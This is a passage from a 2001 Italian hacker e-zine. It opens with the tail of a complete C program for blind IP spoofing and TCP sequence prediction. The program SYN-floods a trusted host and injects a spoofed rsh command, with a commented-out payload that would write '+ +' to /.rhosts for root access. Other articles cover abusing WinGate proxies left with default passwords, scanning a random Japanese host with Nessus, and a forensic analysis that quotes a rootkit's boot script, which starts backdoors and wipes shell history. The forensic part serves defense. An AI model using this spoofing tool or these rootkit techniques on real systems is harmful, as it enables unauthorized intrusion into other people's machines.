",inet_ntoa(ip->saddr)); printf("IPTo %s\n",inet_ntoa(ip->daddr)); /* TCP */ tcp = (struct tcphdr *) (buf + len); printf("TCP Header\n"); printf("----------\n"); printf("SPort = %hu, DPort = %hu, SeqNum = %lu, AckNum = %lu\n", ntohs(tcp->th_sport), ntohs(tcp->th_dport), ntohl(tcp->th_seq), ntohl(tcp->th_ack)); printf("x2 %d, off %d\n",tcp->th_x2,tcp->th_off); printf("Flags"); if (!tcp->th_flags) printf(" none"); else { if (tcp->th_flags & TH_FIN) printf(" FIN"); if (tcp->th_flags & TH_SYN) printf(" SYN"); if (tcp->th_flags & TH_RST) printf(" RST"); if (tcp->th_flags & TH_PUSH) printf(" PUSH"); if (tcp->th_flags & TH_ACK) printf(" ACK"); if (tcp->th_flags & TH_URG) printf(" URG"); } printf(".\n"); printf("win %d, sum %d, urp %d\n",ntohs(tcp->th_win),ntohs(tcp->th_sum),ntohs(tcp->th_urp)); } inline void gettcppacket(int s, char *buf, int size) { struct sockaddr_in addr; struct iphdr *ip; struct tcphdr *tcp; int len, r; len = sizeof(addr); if ((r = recvfrom(s,buf,size,0,(struct sockaddr *) &addr,&len)) == -1) { perror("recvfrom"); fprintf(stderr,"error: recvfrom returned %d\n",r); exit(1); } /* printtcppacket(r,buf,&addr); */ } inline void sendtcppacket(int s, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned char flags, unsigned short sport, unsigned short dport, unsigned long seqnum, unsigned long acknum, char *data, int datalen) { struct iphdr ip; struct tcphdr tcp; static char packet[4096]; char tcpbuf[4096]; char *ptr; unsigned short size=0; ip.ihl = 5; ip.version = 4; ip.tos = 0; ip.tot_len = htons(40 + datalen); ip.id = htons(666+(rand()%100)); ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_TCP; ip.check = 0; ip.saddr = src; ip.daddr = dest; ip.check = in_cksum((char *)&ip,sizeof(ip)); tcp.th_sport = htons(sport); tcp.th_dport = htons(dport); tcp.th_seq = htonl(seqnum); tcp.th_ack = htonl(acknum); tcp.th_x2 = 0; tcp.th_off = 5; tcp.th_flags = flags; tcp.th_win = htons(10052); tcp.th_sum = 0; tcp.th_urp = 0; /* Add in a pseudo IP header */ memset(tcpbuf,0,4096); ptr = tcpbuf; memcpy(ptr,&(ip.saddr),8); /* Both saddr and daddr */ ptr += 9; /* Skip the 0 field */ memcpy(ptr,&(ip.protocol),1); ptr += 1; size = htons(datalen + sizeof(tcp)); memcpy(ptr,&(size),2); ptr += 2; memcpy(ptr,&tcp,sizeof(tcp)+datalen); tcp.th_sum = in_cksum((char *)tcpbuf,sizeof(tcp)+12+datalen); memcpy(packet,(char *)&ip,sizeof(ip)); memcpy(packet+sizeof(ip),(char *)&tcp,sizeof(tcp)); memcpy(packet+sizeof(ip)+sizeof(tcp),(char *)data,datalen); /* printtcppacket(sizeof(ip)+sizeof(tcp)+datalen,packet,addr); */ if (sendto(s,packet,sizeof(ip)+sizeof(tcp)+datalen,0, (struct sockaddr *)addr, sizeof(struct sockaddr_in)) == -1) { perror("sendto"); exit(1); } } void determine_sequence(int s, int r, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned long *next_seq, unsigned long *offset) { struct iphdr *ip; struct tcphdr *tcp; int i, len; unsigned long start_seq=4321965+getpid(); unsigned long start_port=600; char buf[4096]; unsigned long prev_seq=0, diff=0; *offset=0; for (i=0;i<10;i++) { sendtcppacket(s,src,dest,addr,TH_SYN,start_port,514,start_seq,0,NULL,0); for (;;) { gettcppacket(r,buf,sizeof(buf)); ip = (struct iphdr *) buf; if (ip->saddr != dest) continue; /* printtcppacket(sizeof(buf),buf,addr); */ len = ip->ihl << 2; tcp = (struct tcphdr *) (buf+len); if (ntohs(tcp->th_dport)==start_port && ntohs(tcp->th_sport)==514) { if (prev_seq) { diff=tcp->th_seq-prev_seq; printf("(prev=%u, new=%u, diff=%u\n", prev_seq, tcp->th_seq, diff); } else diff=0; if (*offset==0) *offset=diff; else { if (*offset!=diff) printf("Difference in Offset: old=%u, new=%u\n", *offset, diff); *offset=diff; } prev_seq=tcp->th_seq; sendtcppacket(s,src,dest,addr,TH_RST,start_port++,514,start_seq++,0,NULL,0); break; /* out of for loop */ } } } *next_seq=prev_seq+*offset; } void spoof(int s, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned long next_seq) { char buf[4096]; unsigned short port=513; /*char *string="0\0root\0root\0echo + + >>/.rhosts\0"; int stringlen=32;*/ char *string="0\0kurt\0kurt\0/usr/bin/touch /tmp/spoof \0"; int stringlen=39; u_long seq=54378435; int i; /* Send a syn with our own sequence number */ sendtcppacket(s,src,dest,addr,TH_SYN,port,514,seq,0,NULL,0); usleep(5000); /* wait for the other side to SYN,ACK */ sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,++next_seq,NULL,0); sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,next_seq,string,stringlen); seq+=stringlen; sleep(1); sendtcppacket(s,src,dest,addr,TH_FIN,port,514,seq,next_seq,NULL,0); for (i=1;i<4;i++) { sleep(2); sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq+1,next_seq+i,NULL,0); } usleep(50000); sendtcppacket(s,src,dest,addr,TH_RST,port,514,seq+1,next_seq+4,NULL,0); } void reset_trusted(int s, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned long seq_num[80], unsigned long port_num[80]) { int i; for (i=0;i<80;i++) sendtcppacket(s,src,dest,addr,TH_RST,port_num[i],513,seq_num[i],0,NULL,0); } void hose_trusted(int s, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned long seq_num[80], unsigned long port_num[80]) { int i; unsigned long start_seq=78156767+getpid(); unsigned long start_port=600; for (i=0;i<80;i++) { port_num[i]=start_port++; seq_num[i]=start_seq++; sendtcppacket(s,src,dest,addr,TH_SYN,port_num[i],513,seq_num[i],0,NULL,0); } } void main(int argc, char *argv[]) { int rec, sen, i=1; unsigned char buf[4096]; struct sockaddr_in addr, trustedaddr, bogusaddr; char *bogusname = "19.17.14.17"; unsigned long dest, bogus, trusted, src, nseq, offset; struct hostent *host; unsigned long seq_num[80], port_num[80]; if (argc != 3) { fprintf(stderr,"Usage: %s trusted target\n",argv[0]); exit(1); } memset(&trustedaddr,0,sizeof(trustedaddr)); trustedaddr.sin_family = AF_INET; if ((trustedaddr.sin_addr.s_addr = inet_addr(argv[1])) == -1) { if ((host = gethostbyname(argv[1])) == NULL) { printf("Unknown host %s.\n",argv[1]); exit(1); } trustedaddr.sin_family = host->h_addrtype; memcpy((caddr_t) &trustedaddr.sin_addr,host->h_addr,host->h_length); } printf("Trusted is %s\n",inet_ntoa(trustedaddr.sin_addr.s_addr)); memcpy(&trusted,(char *)&trustedaddr.sin_addr.s_addr,4); memset(&addr,0,sizeof(addr)); addr.sin_family = AF_INET; if ((addr.sin_addr.s_addr = inet_addr(argv[2])) == -1) { if ((host = gethostbyname(argv[2])) == NULL) { printf("Unknown host %s.\n",argv[2]); exit(1); } addr.sin_family = host->h_addrtype; memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length); } printf("Target is %s\n",inet_ntoa(addr.sin_addr.s_addr)); memcpy(&dest,(char *)&addr.sin_addr.s_addr,4); if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { perror("error: recv socket"); exit(1); } if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("error: send socket"); exit(1); } #ifdef IP_HDRINCL fprintf(stderr,"IP_HDRINCL is set\n"); if (setsockopt(sen,IPPROTO_IP,IP_HDRINCL,(char *)&i,sizeof(i)) < 0) { perror("setsockopt IP_HDRINCL"); exit(1); }; #endif gethostname(buf, 128); if ((host=gethostbyname(buf))==NULL) { fprintf(stderr, "Can't get my hostname!?\n"); exit(1); } memcpy(&src,host->h_addr,4); bogusaddr.sin_family = AF_INET; bogusaddr.sin_addr.s_addr = inet_addr(bogusname); memcpy(&bogus,(char *)&bogusaddr.sin_addr.s_addr,4); hose_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num); determine_sequence(sen, rec, src, dest, &addr, &nseq, &offset); printf("Next sequence number is: %u, offset is: %u\n", nseq, offset); spoof(sen,trusted,dest,&trustedaddr,nseq); reset_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num); } -------------------------------------------------------taglia qui----------------------------------- Ke devo dire;) spero di essere stato kiaro e buon ip spoofing;D DarkAngel999 <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [NETW0RKiNG] #02 - 18/06/2001 | | USARE WiNGATE ........................................... [Weisses] 0x0E/0x25 | +-------------------------------------------------------------------------------+ L' ultima volta ci siamo lasciati parlando di networking, networking alle radici oserei dire, forse qualcuno si stara' domandando: ma come mai weisses ci parla di reti partendo da livelli bassissimi e non di sniffer o roba varia? semplice, sono fatti miei :) a parte gli scherzi, lo faccio per dei semplici motivi, quando parlo di un argomento mi piace trattarlo dalla radice in maniera da far concatenare il tutto, secondo, un buon 70% degli attacchi avvengono su rete lan locale o internet che sia, ma sempre e comunque su rete, un banale esempio di attacco ad una rete e' quello ad un server aziendale, il quale viene quasi sempre colpito attacccando prima un suo client, ma forse e' meglio spiegare tutto meglio, prima di farlo pero' voglio portare a termine quello che ho scritto nel precedente numero. Abbiamo detto come configurare una piccola lan e fin quì tutto ok, resta solo un piccolo particolare, dopo aver condiviso hard disk, stampanti e cartelle varie che ne direste di usare un solo modem per connetterci ad internet? A meno che non siate disposti a spendere fior di soldini per un router eccovi le possibili alternative. La seguente procedura vi consiglio di farla su un server Nt, 2000 o xp come attualmente io sto' facendo. Dopo aver configurato il nostro server come precedentemente detto, avergli assegnato il suo ip (192.168.0.1) e condiviso tutto il necessario, andiamo a creare la nostra connessione ad internet. Presumiamo di avere configurato l' accesso ad internet sul server, dirigiamoci sui client per far si che questi ultimi possano connettersi ad internet tramite il modem installato sul server, clicchiamo col destro su risorse di rete>proprieta' e poi sul protocollo tcp/ip, a questo punto possiamo agire in due modi differenti, il piu' semplice e' quello di deselezionare l' ip che avevamo assegnato e attivare la casella ottieni indirizzo ip automaticamente, in questo modo tutte le macchine concatenate al server avranno un indirizzo ip sequenziale, torniamo quindi sul server ed entriamo nelle proprieta' della connessione internete su avanzate abilitiamo la casella di condivisione della connessione, a questo punto, cliccando sull' icone di explorer o netscape da qualsiasi client si potra' accedere ad internet. Lo stesso risultato lo otterremo facendo tutti gli stessi passaggi descritti, tranne quello per l' indirizzo ip dei client, ovvero, lasceremo loro assegnato il relativo ip ed assegnando nella casella gateway l' indirizzo ip del server, quest' ultima procedura devo dire che almeno a me a creato qualche problemino di stabilita', consiglio pertanto di usare la prima descritta. Attenzione, la possibilita' di condividere la connessione e' fattibile solo da win98 se in su, per gli utenti di win 95 (esiste ancora qualcuno?) o per chi dei sistemi Microsoft non ne vuol proprio sapere (bravi) esiste un' utilissimo programma\i: I WINGATE Eccoci al nocciolo dell' articolo, cos'e' un wingate? Un Wingate, e' un programma o meglio una categoria di programmi che consentono di interagire e condividere funzionalita' fra vari pc di una stessa rete. Conosciamo molti wingate piu' o meno buoni reperibili facilimente in internete altrettanto facilmente "astavistabili", i migliori comunque rimangono winproxy e lo stesso wingate appunto, la particolarita principale di questi programmi e' appunto quella di consentire a piu' pc di utilizzare un solo modem per connettersi a internet senza dover utilizzare le risorse microsoft ma fungono anche da proxy e questo non e' poco, serve anche a dimostrarci come una cosa utile e legale possa essere usata per scopi utilissimi ed illegali :D Configurare ed installare un wingate, nel nostro esempio win proxy, e' facilissimo, basta installare il programma in oggetto su una delle macchine della rete, non necessariamente il server,l' importante che sia la macchina con il modem, fatto questo inseriremo nel programma l' ip della macchina proprietaria del modem e di quelle autorizzate, spostandoci sulle restanti macchine, andremo su: pannello di controllo>opzioni internet>connessioni>impostazioni lan ed abiliteremo l' opzione utilizza server proxy, nel quale andrtemo a scrivere ip e porta del pc col modem, di default la porta e' la 3128 o la 8080, ma potremo tranquillamente variarla, cosa che quasi nessuno fa' (male). Questo e' quello che praticamente va a succedere, ci colleghiamo ad internet filtrandoci per un proxy e' per la gente comune questo e' normale, fino a che qualcuno non aprofitta della situazione, per mascherarsi e/o per attaccare, vediamo perche'! La maggior parte di noi, che usiamo il pc non solo per giocare o scaricare mp3, utilizza un proxy per mascherare almeno in parte il proprio passaggio, se ad esempio io usassi come proxy pippo.pino.net porta 3128, la mia connessione passerebbe attraverso il pc a cui appartiene il proxy fungendomi cosi' da filtro, non sto' a tirarla sulle lunghe (anche se un articolozzo sui proxy server non mi dispiacerebbe) per non confondere le idee su quello che e' l' argomento principale di questo articolo. come dicevo qualche riga fa, solitamente i wingate vengono configurati male, per male non intendo che non funzionino, intendo che le impostazioni vengono lasciate in modalita' default come ad esempio il numero della porta o la password, in internet ci sono miriadi di pc appartenenti ad una rete aziendale che girano attraverso wingate mal configurati, questi sono facile preda di "tipi" che attraverso un client della rete si riescano ad introdurre nel circuito, diventando client a loro volta semplicemente servendosi di un banale portscan o semplicemente con telnet. Molti server, sono protetti con password idiote, del tipo 1234, non e' uno scherzo, l' ho constato personalmente facendo uno scan ad un ip di un noto provider che offre abbonamenti flat, bene la porta era la 8080 e la password 1234, che bei livelli di sicurezza :D Questo e' solo un piccolo esempio di cio' che' si puo' combinare grazie ad un wingate, vi assicuro che ci sono migliaia di cose fattibili, quindi libero sfogo alla vostra fantasia e.... alla prossima Chuss! ____________wei§§e§____________ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | NETW0RK ANALYZER ................................... [DarkAngel999] 0x0F/0x25 | +-------------------------------------------------------------------------------+ Intro Installazione e konfigurazione Esempi Intro Gli analizzatori di rete kome dice la parola stessa sono delle applikazioni ke analizzano un ipotetiko host in cerka di eventuali falle nella sikurezza, volendo anke un port skanner nel suo pikkolo e' un analizzatore di rete ma quelli ke mi accingo a spiegarvi oggi sono devi veri e propri analizzatori, ke nn si limitano ad indikarci eventuali server in esekuzione, difatti questi testano tutte le vulnerabilita' piu' note fornendoci poi un report dettagliato e kosa piu' importante ci danno delle vere e proprie spiegazioni per ogni vulnerabilita' trovata, tra i tanti esistenti: satan saint etc. ho deciso di parlarvi di nessus essendo il mio preferito. Installazione e konfigurazione Nessus e' komposto da un klient e da un server, e sebbene il klient ci sia anke per winshit il server e' disponibile solo per sistemi Unix-like, potrete trovare tutto l'okkorrente al suo sito ufficiale: http://www.nessus.org prima di installare nessus avrete bisogno dei seguenti file: nessus-libraries-x.x.tar.gz libnasl-x.x.tar.gz nessus-core.x.x.tar.gz nessus-plugins.x.x.tar.gz Trovate una lista di ftp dai quali e' possibile skarikarli a questa pagina: http://www.nessus.org/posix.html una volta skarikati i 4 file sarete pronti per iniziare kon l'installazione, notate ke al momento in kui skrivo nessus e' arrivato alla versione 1.0.8 quindi al posto delle x troverete questo numero...tanto per essere kiaro:) iniziamo a gunzippare nessus libraries $ gunzip nessus-libraries-x.x.tar.gz ora estraiamo l'arkivio: $ tar -xvf nessusus-libraries-x.x.tar ora entriamo nella kartella appena kreata $ cd nessus-libraries ora lanciamo il konfigure $ ./configure ora maikkiamo tutto:D $ make ora facciamo un su ed eseguiamo il make install # make install Ora ripetiamo lo stesso procedimento per libnasl, nessus-core e nessus-plugins. Una volta installato dovremo dire a nessus ki puo' usarlo, assegnare una password a questo utente specifikare quello ke puo' fare l'utente etc. possiamo farlo attraverso l'utility nessus-adduser $ nessus-adduser Addition of a new nessusd user ------------------------------ Login : dark Password : kazzotenefrega?:) Authentification type (cipher or plaintext) [cipher] : cipher Now enter the rules for this user, and hit ctrl-D once you are done : (the user can have an empty rule set) ^D Login : dark Pssword : kazzotenefrega?:) Authentification : cipher Rules : Is that ok (y/n) ? [y] y user added. In questo esempio ho aggiunto l'utente dark senza specifikare alkuna regola in questo modo l'utente dark puo' skannare sia il server lokale sia gli host remoti. Ora potremo editare il file di konfigurazione di nessus (/usr/local/etc/nessus/nessusd.conf) ke si presenta kosi': # Configuration file of the Nessus Security Scanner # Every line starting with a '#' is a comment # Path to the security checks folder : plugins_folder = /nessus/lib/nessus/plugins # Maximum number of simultaneous tests : max_threads = 8 # Log file (or 'syslog') : logfile = /nessus/var/nessus/nessusd.messages # Shall we log every details of the attack ? log_whole_attack = yes # Log the name of the plugins that are loaded by the server ? log_plugins_name_at_load = no # Dump file for debugging output, use `-' for stdout dumpfile = /nessus/var/nessus/nessusd.dump # Rules file : rules = /nessus/etc/nessus/nessusd.rules # Users database : users = /nessus/etc/nessus/nessusd.users # CGI paths to check for (cgi-bin:/cgi-aws:/ can do) cgi_path = /cgi-bin # Range of the ports nmap will scan : port_range = 1-15000 # Optimize the test (recommanded) : optimize_test = yes # Language of the plugins : language = english # Crypto options : negot_timeout = 600 peks_username = nessusd peks_keylen = 1024 peks_keyfile = /nessus/etc/nessus/nessusd.private-keys peks_usrkeys = /nessus/etc/nessus/nessusd.user-keys peks_pwdfail = 5 track_iothreads = yes cookie_logpipe = /nessus/etc/nessus/nessusd.logpipe cookie_logpipe_suptmo = 2 force_pubkey_auth = yes # Optimization : # Read timeout for the sockets of the tests : checks_read_timeout = 15 # Time to wait for between two tests against the same port, in seconds (to be inetd friendly) : delay_between_tests = 1 #end. Per kambiare la konfigurazione originale di nessusd ora siamo pronti per lanciare il demone: #nessusd -D A questo punto lanciamo il klient, ci kiedera' una password, inseriamola e ci troviamo di fronte alla skermata principale di nessus in questa skermata premiamo su log in per loggarci nel server, adesso ci troveremo di fronte a 7 skermate, nessusd host: Qui diamo le impostazioni per il server etc. Plugins: Qui diremo a nessus quali "exploit" provare sull'host remoto, a meno ke nn desideriate certi effetti vi konsiglio di disabilitare gli attakki DoS:) Prefs: Qui ci verra' mostrata la konfigurazione di nMap mettiamo su syn scan etc. Scan Options: Qui potremo selezionare il port skanner da usare nMap va bene, il path dei cgi etc. Target Selection: In questa skermata potremo dire a nessus l'host da analizzare. User: Qui potremo kambiare la pass e specifikare delle regole aggiuntive. Credits: Qui abbiamo delle info sull'autore etc. Ora siamo pronti per iniziare una volta impostato tutto klikkiamo in basso su start the skan per iniziare ad analizzare :D A skan ultimato avremo un report di nessus su tutte le vulnerabilita' trovate. Negli esempi ke seguono ho prima skannato me stesso e poi un *.jp a kaso;) Esempi: Target: 127.0.0.1 Skannando il mio host lokale nn ha trovato nessun sekurity warning^_^ mentre ha trovato 1 security notes;_; vediamo :D Ah niente di preokkupante solo sshd attivo^_^ ;) Ora pero' sara' meglio ke skanno qualke jp:D Target: 1host.jp ;) Lo skan e' finito adesso, e' durato un oretta umm vedo un bel pallino rosso:) klikko sul pallino e vedo 8 bug il primo ftp mi fa notare ke il banner di ftpd nn e' stato kambiato in questo modo si puo' vedere la versione del demone e poi mi fa notare ke potrebbe avere il SITE EXEC pero' dato ke nn si puo' loggare nel server mi konsiglia di verifikare;) si e' buggato;D Poi mi fa notare ke c'e' ssh, ke c'e' telnet, il banner di telnet, l'apache 1.3.9 e mi konsiglia di kambiarlo per rendere il lavoro piu' difficile al cracker di turno;) poi mi fa notare anke gli altri bug di minor importanza e nn li cito:D ora possiamo salvare lo skan per poi kiudere nessus:D Buon divertimento;) Se mi dovete dirmi qualkosa, insultarmi etc. potete farlo a: darkangel999@libero.it DarkAngel999 <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [LiNUX] #02 - 18/06/2001 | | UN SALUT0 AKL N0STR0 xyzzy ............................. [Tdi110cv] 0x10/0x25 | +-------------------------------------------------------------------------------+ Autore : TDI110CV Luogo : Ufficio Orario : 13.30 (pausa !!!) e-mail : tdi110cv@iname.com Telefono : +8888 - 88 ____________________________________________________________________________ Carissimi lettori , certamente avrete capito che questo non e' certo un articolo su come bucare questo o quell'altro , ma piu' semplicemente una nota introduttiva all'articolo che seguira'. Nota che ho voluto scrivere io di mio pugno proprio per dare il benvenuto all'autore incontrato a seguito di una diversita' di opinioni su Oltrelinux. Onestamente non avrei mai immaginato di trovarmi davanti ad una persona del suo calibro , ma non per questo ho comunque insistito per avere la sua collaborazione. E' si !!! Diciamo che l'eta' non e' piu' certo quella media degli smanettoni odierni , ma onestamente nelle sue mail ricevute si nota trasparire una notevole voglia di collaborare , imparare , e insegnare tutto cio' che proviene dalla sua esperienza. Lui mi disse che non avrebbe avuto molto da scrivere ; Io credo invece che l'analisi di un sistema bucato e la sua spiegazione sia molto piu' costruttivo di un qualsiasi altro articolo teNNico. Ebbene nella speranza che tu possa restare con noi , partecipare alla stesura della nostra e-zine , trarre soddisfazione da questa nostra attivita' che altro fa che costarci una marea di tempo buttato nel cesso , e guadagnare qualche soldo anche da questa E-ZINE (ma dove ???!!! Se fosse per l'e-zine faremmo tutti la fame !!! Approposito TRITOLOOOOOOOOOOOOOO possibile che non si riesca a trovare uno sponsor ? cazzo chiama il costanzo show che ci inviti na sera no ?! e poi la si trova sicuro. Normalmente vai al costanzo con qualsiasi problema e te salta fuori la soluzione e la popolarita'. L'ultima aveva l'unghia incarnita e gli hanno aperto un centro estetico ; l'altra aveva denunciato un medico per avergli fatto una sesta invece che na ottava , e ora il medico si ritrova a far marchette per pagare i danni , insomma un po' di fantasia ! noi abbiamo jey che con la scusa che e' un malato di mente ...). Ragazzi io ci provo ... poi puo' andar bene o andar male , se va male ci arrestano altrimenti si vedra' ! Vabbè tralasciando le puttanate concludo con fare tanti calorosi auguri a Xyzzy , ti ringrazio io a nome mio , di Tritolo , e di tutti gli altri che partecipano a questo progetto. Nel frattempo sappi che le prossime uscite saranno anticipate di 1 mese , e che per ogni articolo che vorrai spedirci , noi lo aspetteremo con il sendmail aperto. Di nuovo benvenuto e alla prossima ! ... Si spera !!! Il vostro - TDI110CV - ~ ondaquadra.cjb.net ~ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [LiNUX] #02 - 18/06/2001 | | ANALiSi Di UN ATTACC0 ..................................... [xyzzy] 0x11/0x25 | +-------------------------------------------------------------------------------+ Analisi di un attacco by xyzzy May 31st, 2001 In questo documento si tenta un'analisi delle principali componenti che costituitono un tipico attacco portato ad un sistema linux basato su servizi vulnerabili quali, tra gli altri: - rpc.statd versione - wu-ftpd versione ______________________________________________________________________ Table of Contents 1. Introduzione 2. Sintomi 3. Anamnesi 4. Diagnosi 5. Terapia ______________________________________________________________________ 0. Disclaimer e note particolari 0.1 Disclaimer (in english... sounds better ;) This document is in a "rought straight" text format and I would not be responsible for its misuse and/or damages caused by unproper utilization. This information is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This work is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. For a copy of the GNU General Public License, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA 0.2 Note particolari Questo documento parte dal presupposto che esistano degli "indizi" relativi all'attacco eventualmente effettuato, quali segnalazioni nei file di log, modifiche a file eseguibili, nuovi servizi e/o nuove porte di comunicazione aperte ed identificabili. Tuttavia, non necessariamente un attacco presenta gli "indizi" di cui al precedente paragrafo e l'elenco di "indizi" specificati in questo documento non e' certamente completo. La descrizione e l'analisi delle componenti che compongono l'attacco si basa su esperienze direttamente vissute e vogliono essere un piccolo contributo all'attivita' di controllo e manutenzione dei propri sistemi nell'ottica di ottenere un maggiore livello di "robustezza" dei sistemi stessi. In questo senso deve essere interpretato il contenuto del presente documento. 1. Introduzione Cercheremo di definire le principali componenti che identificano normalmente un attacco portato ad un server linux basato su servizi vulnerabili ad un exploit remoto. Descriveremo le caratteristiche di comportamenti di un generico "attacker" e scopriremo quali possono essere i metodi per identificare e prevenire tali tipi di attacco. Si cerchera' di elencare le principali caratteristiche rilevate, con l'intento di dare una linea guida iniziale di riferimento per tutti coloro che intendessero approfondire successivamente i concetti in questione. 2. Sintomi I principali sintomi di un sistema attaccato con successo sono: - Comportamento "anomalo" durante la procedura di bootstrap. Tipicamente, dopo la fase iniziale di "mount" dei vari filesystem e prima che partano tutti i servizi possono essere visualizzati messaggi di errore nell'avvio di qualche task che non corrisponde ad alcuno specifico servizio. Classico e' il caso di una segnalazione diagnostica di "tar" che segnala l'inesistenza di un file di tipo ".tgz", oppure che tenta di operare su directory inesistenti. E' questo un sintomo abbastanza chiaro del fatto che la sequenza operativa di bootstrap del sistema e' stata in qualche modo alterata. - mancata od erronea risposta da parte di uno o piu' servizi. Nel caso specifico, ad esempio, il proxy server basato sul server web apache potrebbe non piu' rispondere alle richieste da parte dei client, oppure il server ssh (se installato) potrebbe non permettere le connessioni. - il comando "ps" mette in evidenza l'esistenza di task "anomali", quali server ssh non configurati da noi oppure servizi attivati con switch particolari e comunque "strani" (ricordo bene il caso di un server web lanciato con le opzioni "-DHAV" che ancora oggi mi chiedo cosa diavolo facessero... ;) - alcuni file eseguibili (preferenza assoluta a quelli contenuti in /sbin) risultano alterati nella dimensione, nella data di creazione, o persino nel comportamento. Anche qui, il classico esempio e' dato dal comando "ps" che e' stato sostituito con una versione che, quando eseguita, non visualizza tutti i processi attivi, nascondendo quelli tipicamente resi attivi dall'attaccante. - alcuni comandi non accettano piu' tutti gli switch che il manuale indica come ammissibili. E' la tipica situazione di sostituzione del file con una versione diversa che, quindi, non accetta tutti gli switch possibili. 3. Anamnesi Eh si, alla luce di anche solo alcuni dei sintomi di cui al punto precedente (ma ricordiamoci che potrebbero persino mancare tali sintomi... e' sufficiente che si abbia il *sospetto* che siamo stai vittima di una effrazione...) si opportuna una accurata analisi del nostro sistema... questo punto cerca di elencare le piu' comuni configurazioni che potremmo incontrare, senza (come al solito) avere la pretesa di essere esaustiva. Ordunque, cominciamo. 3.1. Directory "nuove" in punti "strani" E' questa una delle condizioni piu' diffuse. In fin dei conti un qualsiasi attacco ha come obiettivo il permettere il controllo del nostro sistema in un modo o nell'altro. E questo obiettivo e' ottenibile solamente attraverso l'attivazione, piu' o meno continua o gestita, di uno o piu' "punti di accesso" (comunemente definite in termine tecnico "backdoor", ossia "porte di servizio") attraverso i quali un cracker puo', appunto, controllare il nostro sistema. Pertanto, da qualche parte dovra' pur esserci un comando che attiva tali "punti di accesso". La fantasia di chi attacca e' sotto questo profilo davvero inesauribile. Si va dall'aggiunta di questi nuovi "ospiti" direttamente all'interno delle directory "canoniche" (le stesse directory che contengono i comandi "tradizionali") fino alla creazione di nuove strutture nascoste all'interno di ramificazioni tipiche di tutti i sistemi, magari utilizzando convenzioni di nomi che non insospettiscano piu' di tanto. Un esempio su tutti: personalmente su un sistema violato ho potuto provare l'intero "rootkit" (l'insieme degli strumenti usati sia per la prima violazione, sia per il successivo controllo) sotto una non meglio definita quanto "insospettabile" directory /usr/X11R6/lib/X11/.fonts/misc/.../ (sissignori... TRE punti, cosi' oltre che risultare nascosta poteva sfuggire anche ad una analisi sommaria del comando ls -a; mica male, vero?). Inoltre, una delle modifiche piu' comuni e' proprio l'inserimento all'interno di uno o piu' degli script di bootstrap del sistema (quelli sotto la directory /etc/rc.d/init.d o /etc/init.d, a seconda delle distribuzioni) di comandi che attivano proprio i processi che implementano queste backdoor. Un'altra pratica molto diffusa e' quella di cancellare in tutto od in parte le linee dei vari file di log mantenuto dal sistema (normalmente memorizzati nella directory /var/log) che contengono la segnalazione dell'avvenuta violazione, allo scopo di rendere maggiormente arduo il compito di identificarne il metodo e la provenienza, nonche' i comandi utilizzati e le operazioni eseguite. A tale scopo non e' raro ritrovarsi con delle copie modificate dei comandi che normalmente si danno per controllare lo stato del sistema. Un comando "ps" opportunamente modificato potrebbe non visualizzare proprio *tutti* i processi attivi, nascondendo proprio quelli "birichini", cosi' come un opportuno comando "netstat" potrebbe non visualizzare tutte le porte effettivamente "aperte" sul nostro sistema... meditate, gente, meditate... ;) Altro? Beh, certo! Ma sostanzialmente gia' queste sono le cose che "normalmente" si trovano su sistemi violati. Ancora una volta ricordo che stiamo parlando di violazioni di tipo "generico", magari effettuate da "giocherelloni" o dai classici "smanettoni"... sono convinto che, esattamente come accade nel mondo "reale" dei ladri di appartamento, se chi opera e' un "vero professionista" corriamo concretamente il rischio di non accorgerci di nulla... anche se, per fortuna, un ladro di appartamento dopo il furto non si fa mai piu' ritrovare, mentre un cracker ha tutto l'interesse a "ritornare" sul nostro sistema... in fin dei conti lo ha violato proprio pèer ritornarci... quindi abbiamo piu' probabilita' di "beccarlo"... Concludo questo paragrafo con una lista di cio' che ho potuto personalmente rilevare su di un sistema violato all'inizio dell'anno 2001. Durante l'intervento in loco si e' rilevato quanto segue: - al fondo del file /etc/rc.d/rc.sysinit si trova una strana chiamata ad uno script "/usr/etc" - in tale script sono presenti i seguenti comandi: #!/bin/sh cd /usr/X11R6/lib/X11/.fonts/misc/.../ tar zxvf vanish2.tgz gcc -o web web.c gcc -o vanish vanish2.c rm -rf vanish2.tgz ./secure ./rx4u -p 86 ./rx4u -f ./x ./rx4u -f ./y /usr/sbin/sendmail -p 436 -q & ./httpd >> ./tcp.log & rm -rf /root.bash_history ln -s /dev/null /root.bash_history cd / che possono brevemente essere cosi' suddivisi e commentati: * Primo gruppo #!/bin/sh cd /usr/X11R6/lib/X11/.fonts/misc/.../ tar zxvf vanish2.tgz gcc -o web web.c gcc -o vanish vanish2.c rm -rf vanish2.tgz - posizionamento in una directory nascosta, all'interno della struttura di directory propria di 